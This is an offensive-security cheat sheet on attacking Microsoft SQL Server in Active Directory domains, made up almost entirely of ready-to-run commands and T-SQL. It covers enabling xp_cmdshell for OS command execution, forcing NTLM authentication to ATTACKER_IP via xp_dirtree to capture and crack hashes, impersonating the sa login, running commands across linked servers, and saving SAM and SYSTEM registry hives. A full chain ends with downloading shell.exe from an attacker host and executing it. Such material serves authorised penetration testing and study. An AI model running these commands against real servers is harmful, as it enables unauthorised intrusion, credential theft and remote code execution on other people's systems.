MSSQL in Active Directory
MSSQL attack surface in AD environments: xp_cmdshell code execution, xp_dirtree NetNTLM capture, user impersonation, linked server traversal, UNC path coercion, and MSSQL privilege escalation chains with impacket and NetExec.
MSSQL servers in AD environments often run as domain service accounts, making them credential-rich lateral movement targets. Even low-privilege SQL users can coerce NTLM authentication via xp_dirtree, impersonate higher-privilege SQL users, and traverse linked server chains.
Discovery
# nxc subnet sweep
nxc mssql 10.10.10.0/24
# nmap
nmap -p 1433 10.10.10.0/24 --open -sV
# SPN-based discovery (AD)
GetUserSPNs.py corp.local/user:pass -dc-ip DC_IP | grep -i mssql
Get-DomainComputer | Where { $_.ServicePrincipalName -match "MSSQLSvc" } |
select dnshostname, ServicePrincipalName
# DNS / SPN lookup
setspn -Q MSSQLSvc/* 2>/dev/null | grep MSSQLSvc
Authentication
# impacket — Windows auth
mssqlclient.py corp.local/user:pass@MSSQL_IP -windows-auth
# impacket — SQL local auth
mssqlclient.py sa:sapass@MSSQL_IP
# impacket — with hash (PTH)
mssqlclient.py -hashes :NTLM_HASH corp.local/user@MSSQL_IP -windows-auth
# nxc — Windows auth
nxc mssql MSSQL_IP -u user -p pass
nxc mssql MSSQL_IP -u user -p pass -d corp.local
# nxc — SQL local auth
nxc mssql MSSQL_IP -u sa -p sapass --local-auth
# Check Kerberos (for SPN auth)
nxc mssql MSSQL_IP -u user -p pass -k
Enumeration
-- Current user + privilege level
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
-- All logins and their roles
SELECT name, type_desc, is_disabled FROM sys.server_principals ORDER BY type_desc;
-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- List databases
SELECT name FROM master.dbo.sysdatabases;
-- Linked servers
SELECT name, data_source, is_linked FROM sys.servers;
-- Impersonatable logins
SELECT DISTINCT b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
xp_cmdshell — OS Command Execution
-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Execute OS command
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'powershell -enc BASE64_PAYLOAD';
# nxc — auto-enables xp_cmdshell if needed
nxc mssql TARGET -u sa -p pass --local-auth -x whoami
# impacket — interactive SQL shell, run xp_cmdshell manually
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
xp_dirtree — NetNTLM Hash Capture
xp_dirtree attempts a UNC path → forces NTLM auth from the SQL service account to your listener.
# Terminal 1: start Responder
sudo responder -I eth0 -wrf
# Terminal 2: trigger the request
SQL> EXEC xp_dirtree '\\ATTACKER_IP\share', 1, 1;
# OR
SQL> EXEC xp_fileexist '\\ATTACKER_IP\share\test.txt';
# Crack the captured NetNTLM hash
hashcat -m 5600 ntlm_hash.txt /usr/share/wordlists/rockyou.txt
If the SQL service account is a domain service account, you now have its NTLMv2 hash. If it’s a DA or high-privilege account, crack it or relay it.
User Impersonation
SQL Server logins can be granted IMPERSONATE permission on other logins. If you can impersonate a sysadmin:
-- Find impersonatable logins
SELECT DISTINCT b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Impersonate a sysadmin
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER; -- confirms you are now 'sa'
-- Execute as sysadmin then run xp_cmdshell
EXECUTE AS LOGIN = 'sa';
EXEC xp_cmdshell 'whoami';
-- Revert
REVERT;
# nxc impersonation module
nxc mssql TARGET -u user -p pass -M mssql_priv
nxc mssql TARGET -u user -p pass -M mssql_priv -o ACTION=privesc
Linked Server Attacks
Linked servers allow queries to execute on remote SQL instances. If the link uses a privileged account:
-- List linked servers
SELECT name, data_source FROM sys.servers WHERE is_linked = 1;
-- Execute query on linked server
SELECT * FROM OPENQUERY(LINKED_SERVER, 'SELECT SYSTEM_USER');
SELECT * FROM OPENQUERY(LINKED_SERVER, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
-- Enable xp_cmdshell on linked server
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED_SERVER];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER];
-- Execute OS command on linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER];
-- Chain multiple links (crawl the linked server graph)
EXEC ('SELECT * FROM OPENQUERY(SECOND_LINKED_SERVER, ''SELECT SYSTEM_USER'')') AT [LINKED_SERVER];
# nxc linked server modules
nxc mssql TARGET -u user -p pass -M enum_links
nxc mssql TARGET -u user -p pass -M link_xpcmd -o LINKED_SERVER=SERVER2 CMD='whoami'
nxc mssql TARGET -u user -p pass -M link_enable_cmdshell -o LINKED_SERVER=SERVER2 ACTION=enable
Reading / Writing Files
-- Read file (requires sysadmin or BULK INSERT privilege)
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x;
-- Write file via xp_cmdshell
EXEC xp_cmdshell 'echo whoami > C:\Temp\out.txt';
EXEC xp_cmdshell 'powershell -c "Set-Content C:\Temp\rev.ps1 ''BASE64_REVERSE_SHELL''"';
-- Upload a file via BCP
EXEC xp_cmdshell 'bcp "SELECT payload_blob FROM db..table" queryout C:\Temp\payload.exe -T -c';
MSSQL Service Account Privilege Escalation
-- Check if running as local SYSTEM or domain account
EXEC xp_cmdshell 'whoami';
-- If: NT AUTHORITY\SYSTEM or NT SERVICE\MSSQL... → local privesc
-- If: CORP\svc_mssql → domain service account → try hash extraction
-- Extract service account hash via xp_dirtree (as shown above)
-- OR: if sysadmin, dump local SAM via xp_cmdshell
EXEC xp_cmdshell 'reg save HKLM\SAM C:\Temp\sam.hive /y';
EXEC xp_cmdshell 'reg save HKLM\SYSTEM C:\Temp\system.hive /y';
-- Then download and parse with secretsdump.py
Full Exploitation Chain
# 1. Discover MSSQL
nxc mssql 10.10.10.0/24
# 2. Authenticate (try common creds / domain creds)
mssqlclient.py corp.local/user:pass@MSSQL_IP -windows-auth
# 3. Check role
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
# 4a. If sysadmin → enable xp_cmdshell → RCE
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
# 4b. If not sysadmin → check impersonation
SQL> SELECT DISTINCT b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
SQL> EXECUTE AS LOGIN = 'sa';
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
# 4c. If low priv → capture hash via xp_dirtree → crack or relay
SQL> EXEC xp_dirtree '\\ATTACKER_IP\share', 1, 1;
# 5. Transfer implant / dump creds
SQL> xp_cmdshell 'powershell -c "(New-Object System.Net.WebClient).DownloadFile(''http://ATTACKER/shell.exe'',''C:\Temp\shell.exe'')"';
SQL> xp_cmdshell 'C:\Temp\shell.exe';